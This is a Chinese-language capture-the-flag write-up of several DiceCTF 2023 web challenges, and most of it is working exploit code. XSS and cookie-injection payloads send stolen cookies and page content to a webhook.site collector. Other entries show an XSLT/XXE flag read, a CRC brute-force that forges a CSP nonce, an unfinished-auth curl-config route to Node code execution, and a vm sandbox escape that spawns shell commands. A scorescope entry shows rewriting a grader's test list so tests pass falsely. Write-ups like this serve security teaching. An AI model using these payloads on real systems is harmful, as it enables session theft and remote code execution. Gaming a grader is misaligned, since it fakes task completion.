jnotes
题目总体代码很短,有一个XSS的点,flag在cookie中,被设置为httpOnly,所以目的是偷取cookie。
因为唯一的回显点在后端会输出note这个cookie的值到前端,我们才能获得,所以突破点在后端,后端就是一个简单的javalin程序,我最后的尝试是想能不能根据编码的差别在存储cookie时,设置类似;
的符号去混乱cookie的键值对,尝试失败,会抛出RFC协议不允许;
作为cookie的值,后来也看了下javalin关于cookie的文档和源码调试,没发现啥点
复现发现javalin是基于jetty的,靠了、光顾着看javalin没看jetty。在/jetty-http/src/main/java/org/eclipse/jetty/http/CookieCutter.java
中,看到了jetty是这么解析接收到的cookie的,如果遇到"
,则到"
结束的当作一个值
因为note也是httpOnly的,所以也无法使用js去设置它的值,这里利用document.cookie='=note=";path=//';
创建键为空,值为note的cookie,发送时也就是 note="....
这里为了让note在最前面以可以覆盖掉后面的值所以让path的路径较长与FLAG
- Cookies with longer path are listed before cookies with shorter path.
- Cookies which are edited least recently are listed before cookies which are edited most recently.
引用及payload来自https://github.com/RohitNarayananM/blog/tree/main/dicectf23-writeups/jnotes
<html>
<body>
<form method="POST" action="https://jnotes.mc.ax/create">
<input id="p" name="note" value="" >
</form>
<script>
document.querySelector("#p").value = `</textarea>
<\x73cript>
document.cookie='=note=";path=//';
const frame = document.createElement('iframe');
frame.src = "https://jnotes.mc.ax//";
document.body.appendChild(frame);
frame.onload = () => {
navigator.sendBeacon("https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720",frame.contentWindow.document.body.innerHTML);
}
</\x73cript>`;
document.forms[0].submit();
</script>
</body>
</html>
offical https://blog.ankursundara.com/dicectf23-writeups/
<!DOCTYPE html>
<html lang="en">
<body>
<form method="POST" action="https://jnotes.mc.ax/create">
<input id="p" name="note" value="" />
</form>
<script>
document.querySelector("#p").value = `</textarea>
<\x73cript>
if (window.location.pathname !== "//") {
document.cookie = 'note=; Max-Age=-1';
document.cookie = '=note="uhhh; path=//';
document.cookie = 'END=ok" ; path=';
w = window.open('https://jnotes.mc.ax//');
setTimeout(()=>{
ex = w.document.body.innerHTML;
navigator.sendBeacon('https://hc.lc/log2.php', ex);
}, 500);
}
</\x73cript>`;
document.forms[0].submit();
</script>
</body>
</html>
gift
赛后学习@deltaclock师傅的思路,估计是非预期,就两步
利用admin
身份创建gift
window.open("https://gift.mc.ax/create/Infinity");
在创建加载的时候登录,目的是更改用户名,因为生成create
界面的时候会再次发送请求到/api/info
获得用户名,但是public
是使用admin
创建的,然后又用户名存在html注入,所以存在外带的可能性
对着大佬的poc改改(删了一些没有影响的东西方便理解 如下
<!DOCTYPE html>
<html lang="en">
<head>
<title>Document</title>
</head>
<body>
<form id="csrf" action="https://gift.mc.ax/api/login" method="POST" enctype="text/plain">
<input name='json' value='"}' />
</form>
<noscript id="meta">
<base href="https://example.com/">
<meta http-equiv="refresh" content="0; url=URL">
</noscript>
<script>
function make_csrf(html_payload) {
let p = JSON.stringify({
name: html_payload,
junk: ""
})
p = p.substring(0, p.length - 2);
const csrf = document.getElementById("csrf");
csrf.firstElementChild.name = p;
}
function make_payload() {
const url = new URL(location.href)
url.searchParams.append("leak", "1");
const meta = document.getElementById("meta");
return meta.innerHTML.trim().replace(`URL">`, url.toString());
}
const sleep = d => new Promise(r => setTimeout(r, d));
async function main() {
const url = new URL(location.href);
if (url.searchParams.has("leak")) {
navigator.sendBeacon("https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720",location.search);
} else if (url.searchParams.has("pay")) {
const html = make_payload();
make_csrf(html);
document.getElementById("csrf").submit();
} else {
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
const pay = window.open(`${location.href}?pay=yes`);
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
window.open("https://gift.mc.ax/create/Infinity");
}
}
main();
</script>
</body>
</html>
然后获得邀请链接,创建个账户使用后访问/flag即可
impossible-xss
bot使用.setJavaScriptEnabled
禁止js的执行
await page.setJavaScriptEnabled(false);
res.end
相较于res.send
不会返回Content-Type
This means chrome will perform content sniffing on the response.
xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720/?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`
xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss=encodeURIComponent(xml)
console.log("https://impossible-xss.mc.ax/?xss="+xss)
recursive-csp
csp中
script-src 'nonce-$nonce'
如下可以绕过CSP,其中的nonce
要和整个js语句hash出来的nonce
相等
<script nonce='ZZZZZZZZ'>alert(1)</script>
payload
import crc from "crc/crc32";
const target = "e8b7be43";
const script = `<script nonce="${target}">location.href='https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720'+document.cookie</script>`;
const printables =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
for (const a of printables) {
for (const b of printables) {
for (const c of printables) {
for (const d of printables) {
for (const e of printables) {
const result = script + a + b + c + d + e;
const digest = crc(result).toString(16);
if (digest === target) {
console.log(result);
process.exit(0);
}
}
}
}
}
}
scorescope
查看测试环境的变量
import __main__
def add(a, b):
raise BaseException(dir(__main__))
利用通过测试
import __main__
__main__.tests = ['test_add_positive'] * 22
def add(a, b):
return a+b
unfinished
没给注册功能,但后续的操作需要经过登录中间件验证,查看验证中间件如下
const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=You need to be logged in");
}
next();
};
对比如下安全版本
const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=You need to be logged in");
}
next();
};
所以我们还是可以访问ping路由的,只是没有返回罢了
ping路由使用了curl来执行命令,我们可以-o来指定生成.curlrc,然后使用-K来使用配置
But, if you played ASIS CTF 2022’s web/xtr challenge, you might know that NodeJS will try to load some nonexistent .js files in some specific folders like
.node_modules
. Runningstrace node /app/app.js
you would see that it tried to open the directory/home/user/.node_modules/
. If you create that folder then runstrace
again, you would see it tried to find the file/home/user/.node_modules/kerberos.js
.
在配置中使用--create-dirs
去生成.node_modules
目录,然后保存名为kerberos.js
文件,即可在node崩溃重启后执行自定义的js文件
作者的想法是利用telnet 去向MongoDB
进行对应协议 的请求 然后查询flag后保存到本地 然后使用配置携带发送
const BSON = require("bson");
const fs = require("fs");
const doc = {
find: "flag",
$db: "secret"
};
const data = BSON.serialize(doc);
let beginning = Buffer.from(
"000000000000000000000000DD0700000000000000",
"hex"
);
let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);
codebox
后端中的CSP可控
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];
if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}
res.header('Content-Security-Policy', csp.join('; '));
flag是通过innerHTML直接写入到DOM里,如果在CSP header里指定
require-trusted-types-for 'script'
,这个 innerHTML 的赋值就会因为字符串没有经过 Trusted-Types 处理而违反CSP规则。违反CSP规则可以通过 report-uri 或者 report-to 来上报给指定的地址,上报的内容会包含一小部分错误详情。
构造如下 payload 并访问:
https://codebox.mc.ax/?code=<img+src="111%3brequire-trusted-types-for+'script'%3breport-uri+http://csp.example.com%3b">
前端的
code
是通过浏览器的 URL 类 searchParams.get() 获取的,这个方法在存在多个相同参数的情况下取第一个。而后端取req.query.code
的时候,express.js 取的是最后一个。
jwtjail
vm
的上下文为Object.create(null)
,因此无法使用this
的原型链获取v8上下文为vm外的Object
const endpoint = `https://jwtjail-fcf2ebccc5f50f79.mc.ax`
const jwt = require('jsonwebtoken')
// const endpoint = `http://localhost:12345`
const token = jwt.sign({}, 'a')
fetch(endpoint + `/api/verify`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
token: `'${token}'`,
secretOrPrivateKey: `
(() => {
const c = (name, tar = {}) => new Proxy(
tar,
{
apply: (...args) => {
try {
const process = args[2].constructor.constructor.constructor('return process')()
const flag = process
.binding('spawn_sync')
.spawn({
maxBuffer: 1048576,
shell: true,
args: [ '/bin/sh', '-c', "/readflag" ],
cwd: undefined,
detached: false,
envPairs: ['PWD=/'],
file: '/bin/sh',
windowsHide: false,
windowsVerbatimArguments: false,
killSignal: undefined,
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]
}).output[1].toString().trim()
console.log(flag)
process.__proto__.__proto__.__proto__.constructor.prototype.toJSON =
() => flag
} catch (e) {
console.log(e.stack)
}
},
get: (...args) => {
if(args[1] === Symbol.toPrimitive) {
return c(name + '.' + String(args[1]), () => {
throw new Error()
});
}
return c(name + '.' + String(args[1]));
}
}
);
return c('a', {});
})()`
})
})
.then((res) => res.text())
.then(console.log)
返回的代理的
constructor.name.[Symbol.toPrimitive]
会被作为函数执行。其内部逻辑是在jsonwentoken模块试图将返回的Proxy生成key时,类型不匹配抛出错误,而生成错误文本时会试图读取类名称。对于Proxy的apply钩子,其第三个参数为调用者传入的参数列表,这个列表的v8上下文并不在vm内,从而可以返回process
对象。使用process.binding
即可做到shell任意命令执行。